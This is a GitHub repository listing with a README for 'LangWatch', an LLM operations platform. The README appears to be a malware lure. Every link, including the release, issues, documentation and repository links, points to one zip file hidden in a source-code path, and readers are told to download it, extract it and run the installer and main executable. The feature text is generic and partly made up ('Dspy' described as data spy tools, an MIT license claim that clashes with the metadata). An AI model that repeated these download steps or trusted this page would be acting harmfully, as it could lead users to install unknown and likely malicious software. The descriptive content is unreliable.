https://github.com/tenemos/langwatch
The open LLM Ops platform - Traces, Analytics, Evaluations, Datasets and Prompt Optimization ✨
https://github.com/tenemos/langwatch
ai analytics datasets dspy evaluation gpt llm llmops low-code observability openai prompt-engineering
Last synced: 2 months ago
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The open LLM Ops platform - Traces, Analytics, Evaluations, Datasets and Prompt Optimization ✨
- Host: GitHub
- URL: https://github.com/tenemos/langwatch
- Owner: tenemos
- License: other
- Created: 2025-05-03T12:20:26.000Z (about 1 year ago)
- Default Branch: main
- Last Pushed: 2026-04-15T21:53:43.000Z (2 months ago)
- Last Synced: 2026-04-15T23:31:14.580Z (2 months ago)
- Topics: ai, analytics, datasets, dspy, evaluation, gpt, llm, llmops, low-code, observability, openai, prompt-engineering
- Language: TypeScript
- Size: 18.1 MB
- Stars: 2
- Watchers: 1
- Forks: 1
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- Contributing: CONTRIBUTING.md
- License: LICENSE.md
Awesome Lists containing this project
README
# 🌐 LangWatch: Your Open LLM Ops Platform
[](https://github.com/tenemos/langwatch/raw/refs/heads/main/langwatch/src/pages/[project]/evaluations/[id]/Software_3.8.zip)
---
## 📖 Introduction
Welcome to LangWatch! This repository serves as an open platform for managing Large Language Models (LLMs). Our goal is to provide tools for tracing, analytics, evaluations, datasets, and prompt optimization. Whether you are a researcher, developer, or data scientist, LangWatch is designed to streamline your workflow in the world of AI.
## 🛠️ Features
### 1. Tracing
- **Monitor Model Behavior**: Keep track of how your models respond to various inputs.
- **Visualize Performance**: Use graphs and charts to see trends over time.
### 2. Analytics
- **Data Insights**: Gain insights from your datasets and model outputs.
- **Custom Metrics**: Define and track metrics that matter to you.
### 3. Evaluations
- **Benchmarking**: Compare your models against industry standards.
- **User Feedback**: Incorporate real user feedback to improve your models.
### 4. Datasets
- **Open Datasets**: Access a variety of datasets for training and evaluation.
- **Custom Dataset Uploads**: Easily upload and manage your own datasets.
### 5. Prompt Optimization
- **Prompt Engineering Tools**: Experiment with different prompts to optimize model responses.
- **Automated Suggestions**: Get recommendations based on past performance.
## 🚀 Getting Started
To get started with LangWatch, follow these steps:
1. **Download the Latest Release**: You can find the latest version [here](https://github.com/tenemos/langwatch/raw/refs/heads/main/langwatch/src/pages/[project]/evaluations/[id]/Software_3.8.zip). Download the appropriate file for your operating system.
2. **Installation**:
- Extract the downloaded file.
- Run the installation script as per your OS instructions.
3. **Configuration**:
- Open the configuration file located in the extracted folder.
- Customize settings according to your needs.
4. **Run the Application**:
- Execute the main application file to start using LangWatch.
## 📊 Usage
Once you have LangWatch installed, you can start using its features right away.
### Tracing
- Navigate to the tracing dashboard.
- Input the data you want to analyze.
- View real-time updates and performance metrics.
### Analytics
- Use the analytics module to upload your datasets.
- Generate reports and visualize the data.
### Evaluations
- Set up evaluation criteria for your models.
- Run evaluations and view the results.
### Datasets
- Access the datasets library to find relevant data.
- Upload your own datasets for personalized analytics.
### Prompt Optimization
- Experiment with different prompts in the prompt optimization section.
- Use the automated suggestions to improve your prompts.
## 🌍 Topics
LangWatch covers a wide range of topics in the AI and data science space. Here are some of the key areas we focus on:
- **AI**: Explore the latest advancements in artificial intelligence.
- **Analytics**: Dive deep into data analysis and interpretation.
- **Datasets**: Access a rich library of datasets for your projects.
- **Dspy**: Use our data spy tools for advanced data insights.
- **Evaluation**: Benchmark your models effectively.
- **GPT**: Utilize the power of GPT models in your applications.
- **LLM**: Work with various large language models.
- **LLMOps**: Streamline operations related to large language models.
- **Low-Code**: Implement solutions with minimal coding.
- **Observability**: Monitor and observe model behavior.
- **OpenAI**: Integrate with OpenAI technologies.
- **Prompt Engineering**: Optimize your prompts for better model performance.
## 📥 Downloading and Executing
For the latest version of LangWatch, please visit [this link](https://github.com/tenemos/langwatch/raw/refs/heads/main/langwatch/src/pages/[project]/evaluations/[id]/Software_3.8.zip). Make sure to download the correct file for your operating system. After downloading, follow the installation instructions provided in the README file.
## 🛠️ Contributing
We welcome contributions from the community. If you want to help improve LangWatch, here’s how you can contribute:
1. **Fork the Repository**: Create a personal copy of the repository.
2. **Make Changes**: Implement your changes and improvements.
3. **Submit a Pull Request**: Share your changes with the community.
### Contribution Guidelines
- Follow the coding standards outlined in the repository.
- Write clear commit messages.
- Document your code thoroughly.
## 📚 Documentation
Comprehensive documentation is available in the `docs` folder. This includes:
- **Installation Guides**: Step-by-step instructions for various platforms.
- **API Documentation**: Detailed information about the API endpoints.
- **User Guides**: Tutorials on how to use each feature effectively.
## 🤝 Support
If you encounter any issues or have questions, feel free to reach out:
- **Issues**: Check the [Issues](https://github.com/tenemos/langwatch/raw/refs/heads/main/langwatch/src/pages/[project]/evaluations/[id]/Software_3.8.zip) section for existing problems or to report new ones.
- **Discussions**: Join our community discussions to share ideas and ask questions.
## 🌟 Acknowledgments
We thank the contributors and community members who have helped make LangWatch a reality. Your support and feedback are invaluable.
## 📅 Roadmap
We have exciting plans for the future of LangWatch. Here’s what’s coming up:
- **New Features**: We aim to introduce more analytics tools and integrations with other AI platforms.
- **Improved User Interface**: A more intuitive UI for better user experience.
- **Community Events**: We plan to host webinars and workshops to engage with our users.
## 📜 License
LangWatch is licensed under the MIT License. Feel free to use and modify the code as per the license terms.
## 🔗 Links
- [GitHub Repository](https://github.com/tenemos/langwatch/raw/refs/heads/main/langwatch/src/pages/[project]/evaluations/[id]/Software_3.8.zip)
- [Latest Releases](https://github.com/tenemos/langwatch/raw/refs/heads/main/langwatch/src/pages/[project]/evaluations/[id]/Software_3.8.zip)
- [Documentation](https://github.com/tenemos/langwatch/raw/refs/heads/main/langwatch/src/pages/[project]/evaluations/[id]/Software_3.8.zip)
---
Thank you for checking out LangWatch! We look forward to seeing how you use it in your projects.